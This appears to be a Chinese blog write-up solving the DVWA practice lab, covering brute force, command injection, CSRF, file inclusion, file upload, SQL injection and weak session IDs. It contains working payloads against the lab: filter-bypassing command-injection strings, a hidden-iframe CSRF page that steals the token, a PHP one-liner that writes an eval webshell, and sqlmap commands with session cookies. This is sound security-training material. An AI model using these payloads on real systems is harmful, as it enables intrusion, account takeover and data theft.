Brute Force(暴力)

low

虽然题目叫暴力破解,但是这里还可以用sql注入。

sql注入

我们用万能密码admin‘ or 1=1#尝试,发现并不能登录成功,而使用admin‘ and 1=1#却可以登录成功。查看源码发现if( $result && mysqli_num_rows( $result ) == 1 ) {

返回的结果只能是一条而使用or返回的是所有结果,一开始我还不懂为什么,查询资料才发现我对sql的查询逻辑有误解。

sql有这样的特性逐行扫描:数据库会检查每一行是否满足 WHERE 条件,无论是否已找到有效数据。OR 1=1 会导致所有行满足条件,因此全部返回。也就是说是根据结果是否符合or中的两个条件再返回而不是先检查or的条件再执行查询。

暴力破解

关于bp中intruder四种爆破模式的区别可参考Burp Suite中intruder爆破模块四种模式的区别_bp两个payload-CSDN博客

使用可参照【实验报告】使用Burp Suite爆破网站登录账号,密码 - 知乎

1740495704682

成功。

medium

查看源码我们发现这关除了给user和password加上了过滤还在输入错误时sleep2秒以降低爆破的速度。

同样用bp爆破,只不过时间会慢一点。

high

1
checkToken( $_REQUEST[ 'user_token'], $_SESSION[ 'session_token'], 'index.php');

查看源码发现这关加了个token的验证。

我们来看一下token的原理和作用机制。

什么是Token?

当用户登录成功,服务器会生成一个唯一的token,这个token通常会包含以下信息:

  • 用户标识(例如用户ID)
  • token生成的时间戳
  • token的有效期
  • 加密签名(用于验证token的完整性和真实性)

服务器将生成的token发送给客户端,客户端保存token并在每次发送请求时携带这个token与服务器那储存的token进行验证,退出时token消失。这里的token在每次请求还会刷新。

首先添加payload

1740562679448

payload1(密码)使用字典,payload2(token)类型使用递归提取,在设置里提取响应包的内容

1740562802371

1740562892199

这里选择我们刚刚提取的token并且首次请求的token是我们刚刚再次发送请求包中的token不是我们抓包时的token。成功爆破接下来就是等待。

1740562965447

Command Injection(命令执行)

第一次见这种漏洞,先了解一下基本情况。

漏洞描述
命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一
如PHP的命令执行漏洞主要是基于一些函数的参数过滤不足导致,可以执行命令的函数有system( )、exec( )、shell_exec( )、passthru( )、pcntl_execl( )、popen( )、proc_open( )等,当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击
PHP执行命令是继承WebServer用户的权限,这个用户一般都有权限向Web目录写文件,可见该漏洞的危害性相当大。

命令执行与代码执行的区别

代码执行:执行效果完全依赖于语言本身

命令执行:执行效果不受语言本身、命令本身的限制

window常见的命令拼接符

|直接执行后面的语句

||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

&前面和后面命令都要执行,无论前面真假

&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

Linux常见的命令拼接符

除了|、||、&、&&还多了一个;,作用和&一样.

常见的命令执行函数:

1)system

该函数会把执行结果输出 并把输出结果的最后一行作为字符串返回 如果执行失败则返回false 这个也最为常用

(2)exec

不输出结果,返回执行结果的最后一行 可以使用output进行输出

(3)passthru

此函数只调用命令 并把运行结果原样地直接输出 没有返回值。

(4)shell_exec

不输出结果,返回执行结果 使用反引号(``)时调用的就是此函数

low

查看源码发现并没有任何过滤代码,我们直接用127.0.0.1&whoami,whoami会显示当前用户的用户名和SID(Windows操作系统中用于唯一标识用户、组和计算机账户的一个唯一标识符)。

微信图片_20250226200124

成功。

medium

查看源码

1
$substitutions = array(     '&&' => '',     ';' => '',   ); 

发现把&&过滤了,那么我们可以利用没有被过滤的命令拼接符,如127.0.0.1&whoami.

high

查看源码

1
$substitutions = array(     '||' => '',     '&' => '',     ';' => '',     '| ' => '',     '-' => '',     '$' => '',     '(' => '',     ')' => '',     '`' => '',   ); 

发现把能过滤的都过滤了,不过仔细看发现|其实是| ,多了个括号,那么这个过滤是没用的。我们直接用127.0.0.1|whoami测试成功。

CSRF(跨站请求伪造)

第一次见,看原理:

简单的说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作(如发邮件,发消息,甚至财产操作(如转账和购买商品))。因为浏览器之前认证过,所以被访问的站点会觉得这是真正的用户操作而去运行。

4ac86263c3d9cf6806d06c2129d42058

从上图能够看出,要完毕一次CSRF攻击,受害者必须依次完毕两个步骤:

登录受信任站点A,并在本地生成Cookie。

在不登出A的情况下,访问危险站点B。(要在同一个浏览器中进行)

攻击者只有预测出URL的所有参数与参数值,才能成功地构造一个伪造的请求;反之,攻击者将无法攻击成功。

low

我们修改密码后发现发送的是GET请求,URL如下:

http://dvwa:8898/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

由此我们也可以伪造一个url

http://dvwa:8898/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

这样在登录状态下用同一个浏览器打开便会修改密码。

但是这样的url太明显了,我们可以利用站长工具生成一个短域名,用这个短域名进入的也是同一个页面。

我们也可以在html中用支持src的标签将url隐藏起来。

medium

这关主要改变的代码是

1
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false 

代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名)

这个检查的作用是验证用户是否是从同一个网站上的另一个页面跳转过来的,防止外部链接直接访问某些页面,增加网站安全性。

我们可以抓包修改请求头referer

我们也可以绕过

1
2
3
4
5
6
目录混淆法:将HTML页面放在127.0.0.1目录下,构建payload
http://www.xxx.com/127.0.0.1/csrf.html

文件名混淆法:将HTML文件重命名为127.0.0.1,构建payload
http://www.xxx.com/127.0.0.1.html

high

application/json

查看源码发现

1
$data = json_decode(file_get_contents('php://input'), true); 

这是针对application/json类型的数据

  1. 数据格式

    • 数据以JSON(JavaScript Object Notation)格式表示。
    • JSON格式可以表示更复杂的数据结构,如数组、对象、嵌套对象等。
    • 字符串需要用双引号包裹。

    示例:{"name": "John Doe", "age": 30, "city": "New York"}

  2. 用途

    • 适用于现代Web应用程序,特别是那些使用Ajax技术进行数据交换的应用程序。
    • 适合传输复杂或结构化数据。

虽然有这个解析代码但我们这的请求中不是这类数据。

源码中新增了 checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' ); 来检查token。

那么我们就需要获取用户的token。

方法一

由于现在的浏览器是不允许跨域请求,即攻击者的服务器192.168.67.140不能向被攻击的服务器192.168.67.143发送请求,除非是被攻击服务器主动发给攻击者服务器。那么我们只能将我们的攻击页面放在被攻击者的服务器引诱受害者访问,攻击页面代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script type="text/javascript"> 
function attack() {

document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit(); }
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>

<body οnlοad="attack()">
<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>

  1. <script>标签中定义了一个JavaScript函数attack(),该函数的作用是:
    • 从隐藏的<iframe>中获取名为user_token的元素的值(这通常是用来防止CSRF攻击的一种令牌)。
    • 将获取到的user_token值设置到当前页面表单中名为user_token的隐藏输入字段。
    • 提交表单transfer

方法二(与XSS结合)

方法三(bp自动识别token)

File Inclusion(文件包含)

介绍

随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变 量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。

require():可以包含文件,如果包含错了,直接报错并退出程序的执行
include():在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require_once():与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once():与include类似,区别在于当重复调用同一文件时,程序只调用一次

low

法一

我们发现这里是利用url中page的值来传输想要访问的文件的名的,然后在index.php中进行包含。

我们需要利用File upload的部分来上传一个能生成木马的php脚本,然后在我们这个页面访问它,当它被包含的时候会被当做php脚本执行便能生成含有一句话木马的脚本,我们便能利用蚁剑进行连接。

法二

我们还能利用远程文件包含,访问外部站点中的生成一句话木马的文件,这样我们便不需要上传文件。例如

1
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>

medium

查看源码

1
2
3
4
5
6
7
8
9
10
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

这里利用str_replace来过滤我们的输入。

那么我们在进行本地文件包含和远程文件包含的时候只要注意利用双写来绕过str_replace函数。

high

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

这里要求我们输入的字符串必须以file开头,那么我们可以使用伪协议file:///进行绕过。

file upload

low

查看源码发现并没有对上传的文件进行任何过滤,我们直接上传一个一句话木马再用蚁剑进行连接。

medium

这个属于检测上传文件的mime类型,我们直接抓包修改就行了。

high

这里利用getimagesize()函数检测文件,那么我们只需要把一句话木马和正常文件拼接起来,便能上传成功.我们再利用文件包含漏洞就能成功利用蚁剑连接。由于有白名单限制,所以利用.user.ini或.htaccess文件的方法貌似不行。

sql注入

由于之前打过靶场,这里就利用sqlmap来进行注入。

使用sqlmap进行SQL注入的基本步骤
查看sqlmap相关参数,命令格式为:sqlmap -h
找到一个可利用的网址,判断网站数据库类型,命令格式为:sqlmap -u
确定数据库类型为mysql后,查看存在的数据库,命令格式为:sqlmap -u 目标网址–dbs
查看数据库中存在的表,命令格式为:sqlmap -u 目标网址–tables -D 数据库名
获取表中的字段,命令格式为:sqlmap -u 目标网址– columns -T 表名 -D 数据库名
猜解出字段,查看表里的存储内容,命令格式为:sqlmap -u 目标网址– dump -C 字段名称 -T 表名 -D 数据库名

low

由于dvwa需要登录,所以我们需要先抓包获取cookie。

security=low; PHPSESSID=e5bk9sguspes5davp15hiknij

使用sqlmap.py -u "http://dvwa:8898/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e5bk9sguspes5davp15hiknij" --batch --dbs

获取数据库

sqlmap.py -u "http://dvwa:8898/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e5bk9sguspes5davp15hiknij" --batch --current-db

获取当前数据库

sqlmap.py -u "http://dvwa:8898/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e5bk9sguspes5davp15hiknij" --batch -D dvwa --tables

查表

sqlmap.py -u "http://dvwa:8898/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e5bk9sguspes5davp15hiknij" --batch -D dvwa -T users --columns

查数据列

sqlmap.py -u "http://dvwa:8898/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e5bk9sguspes5davp15hiknij" --batch -D dvwa -T user -C "user,password" --dump

查用户名与密码。

medium

改成了POST方法,我们只需要使用–data传输参数就行。

1
python sqlmap.py -u "http://dvwa:8898/vulnerabilities/sqli/#" -data "id=1&Submit=Submit" --cookie="PHPSESSID=b03cjnsi079pmeu9sse5up5kgf; security=medium" --batch -dbs

可以正常显示

1
2
3
available databases [2]:
[*] dvwa
[*] information_schema

接下来就和之前的步骤一样

high

手动注入

看了下好像是在查询的时候是在另一个页面进行的,但是数据回显还是在原来的页面,由于源代码中有

1
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); 

所以这里不能用报错注入,我们直接用正常的联合查询就行了。

sqlmap

这里我们就要用到–second-u参数这个参数的作用:

当测试存储型 SQL 注入时,攻击者可能需要先向一个 URL 提交恶意数据(例如通过表单),然后在另一个 URL(如显示数据的页面)触发漏洞。--second-u 用于指定触发注入的第二个 URL,使 sqlmap 能够检测这类延迟触发的漏洞。

1
python sqlmap.py -u "dvwa:8898/vulnerabilities/sqli/session-input.php#" --second-u "http://dvwa:8898/vulnerabilities/sqli/" -data "id=1&Submit=Submit" --cookie="PHPSESSID=b03cjnsi079pmeu9sse5up5kgf; security=high" --batch -dbs

可以正确查询到数据库,接下来和之前的一样。

sql盲注

我这里直接试验high难度的,发现和普通sql的high难度差不多,不过是盲注,直接构造

1
python sqlmap.py -u "dvwa:8898/vulnerabilities/sqli_blind/cookie-input.php#" --second-u "http://dvwa:8898/vulnerabilities/sqli_blind/" -data "id=1&Submit=Submit" --cookie="id=1; PHPSESSID=b03cjnsi079pmeu9sse5up5kgf; security=high" --batch -dbs

发现

1
2
3
4
5
6
7
8
9
10
11
12
13
---
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 4605=4605 AND 'qJMJ'='qJMJ&Submit=Submit

Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
Payload: id=1' OR SLEEP(5)#&Submit=Submit
---
available databases [2]:
[*] dvwa
[*] information_schema

存在两种注入方式。

Weak Session IDs

low

由标题可知这关是在session id上下文章,查看源码发现我们每点一次按钮,cookie中的dvwasession的值便会增加1,那么我们知道了生成规律便可以伪造dvwasession进行登录操作。

medium

查看源码

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>

是利用时间戳生成id的,那么我们便可以定时攻击。

high

这里和第一关差不多,不过把dvwasession的值md5加密了